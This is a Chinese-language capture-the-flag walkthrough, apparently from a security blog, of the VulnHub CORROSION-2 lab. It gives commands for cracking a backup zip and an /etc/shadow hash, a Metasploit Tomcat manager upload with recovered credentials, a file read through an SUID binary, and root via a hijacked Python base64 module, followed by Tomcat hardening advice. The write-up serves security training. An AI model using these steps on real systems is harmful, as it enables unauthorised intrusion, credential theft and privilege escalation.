大余每日一攻防CORROSION-2(十)
2023-12-10 17:22:20 Author: www.freebuf.com(查看原文) 阅读量:8 收藏

简介

每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。

每日一攻防特色:
环境攻破:以简单直白的方式攻破每日选择的渗透测试环境。
代码审计:进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。

作者:大余

一、网络枚举

1702199981_657582ad3b697932df91e.png!small?1702199982590
nmap发现ip地址:192.168.253.133

1702199985_657582b10e9ddfe9db831.png!small?1702199986367
发现开启了22、80和8080端口。

二、web信息收集

访问80端口发现apache:
1702199989_657582b5a8937f7849cfc.png!small?1702199990725

继续用nmap深度扫描:

--script=http-enum

1702199994_657582ba412043dd6bee0.png!small?1702199994765
发现存在zip文件和多个目录!

三、zip爆破

通过nmap脚本枚举出8080端口存在backup.zip文件:

wget http://192.168.253.133:8080/backup.zip
unzip backup.zip

1702199998_657582be83a70203fe05a.png!small?1702199999203
下载后解压发现需要密码,利用john爆破压缩包密码:

zip2john backup.zip > hash
john hash --wordlist=/root/Desktop/rockyou.txt

1702200002_657582c2f15ceb238a416.png!small?1702200003680

@administrator_hi5

成功获得密码,解压后查看tomcat-users.xml:
1702200006_657582c6dc9e42cd5e619.png!small?1702200007747

得到tomcat后台账号密码:
1702200017_657582d1ad01bc666c493.png!small?1702200018530

admin
melehifokivai

四、getshell

之前nmap就扫描到8080端口存在/manager/html,访问登录:
1702200025_657582d989ffd10d8e751.png!small?1702200026209

1702200031_657582dfd2eed557f2ce4.png!small?1702200032580

利用msf模块exploit/multi/http/tomcat_mgr_upload拿shell:

use exploit/multi/http/tomcat_mgr_upload
set rport 8080
set rhosts 192.168.253.133
set httpusername admin
set httppassword melehifokivai
set FingerprintCheck false
run

1702200037_657582e5e152e779d7a23.png!small?1702200039720
成功获得shell!!

五、文件读取爆破

利用之前得到的密码:melehifokivai,成功切换到jaye用户:

su jaye
melehifokivai
python3 -c 'import pty; pty.spawn("/bin/sh")'

1702200042_657582eac03f6a668e0b6.png!small?1702200043887
查找suid权限的文件

find / -perm -u=s -exec ls -al {} \; 2> /dev/null

1702200048_657582f01f093442db778.png!small?1702200048898

利用该程序可以读取任意文件,查看目标/etc/shadow文件:

https://gtfobins.github.io/gtfobins/look/#suid

/home/jaye/Files/look '' "/etc/shadow"

1702200052_657582f4c5b37e65c4066.png!small?1702200053861

john --wordlist=/root/Desktop/rockyou.txt 1

1702200057_657582f939598bc5f79c4.png!small?1702200058443

randy
07051986randy

成功通过look文件读取到秘钥爆破获得明文密码!

六、提权

切换到randy用户后查看sudo权限:
1702200061_657582fdce6b8d4a42a1e.png!small?1702200062644

(root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py

1702200065_65758301e8d431a555377.png!small?1702200066500
查看randombase64.py发现引入base64模块,修改base64模块提权!查找base64模块位置:
1702200070_6575830619506249a2742.png!small?1702200071016

在文件最后加上提权代码:

import os
os.system("/bin/bash")

1702200074_6575830a2a8b179962985.png!small?1702200074850
执行该脚本提升为root:

sudo -u root /usr/bin/python3.8 /home/randy/randombase64.py

1702200079_6575830f04efa0149d087.png!small?1702200079581
成功获得root权限!

七、代码审计

这里源码并没有什么,开始进攻的思路是tomcat存在/manager/html,然后存在backup.zip备份文件查看到存在tomcat-users.xml文件,通过tomcat-users.xml文件查看到tomcat登录账号密码,从而登录/manager/html,通过利用msf模块exploit/multi/http/tomcat_mgr_upload拿服务器控制权限shell。我们可以这样防护:

1、更改默认账号和密码
在tomcat-users.xml文件中,确保使用强密码并修改默认账号。删除不必要的用户,仅给予最小必需的权限。

2、禁用管理页面

如果不需要Tomcat Manager应用程序,可以考虑将其禁用或限制其访问。在server.xml中配置以下片段可以限制访问:

<Context privileged="true" docBase="${catalina.home}/webapps/manager">
    <Valve className="org.apache.catalina.valves.RemoteAddrValve"
           allow="127\.0\.0\.1" />
</Context>

3、限制/manager/html的访问
可以通过配置Apache Tomcat的conf/context.xml文件限制对/manager/html的访问。在元素内添加以下配置:

<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="127\.0\.0\.1" />

这将限制只有来自本地IP地址的请求可以访问/manager/html。

4、安全配置文件
通过对web.xml和context.xml等文件进行适当的安全配置,可以增强Tomcat的安全性。禁用不必要的服务和功能,以及配置适当的访问控制。

5、监控和审计
实施监控机制,定期审计日志文件,以便检测潜在的入侵或异常活动。在Tomcat中启用详细的访问日志,以便能够追踪请求。

通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!

扫描下方二维码添加小助手,进群和大余老师一起技术探讨交流吧!

1701847681_657022811043209291287.png!small?1701847682244

欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。

1701847704_65702298ccb7a072cd4c7.png!small?1701847708052


文章来源: https://www.freebuf.com/vuls/386181.html
如有侵权请联系:admin#unsafe.sh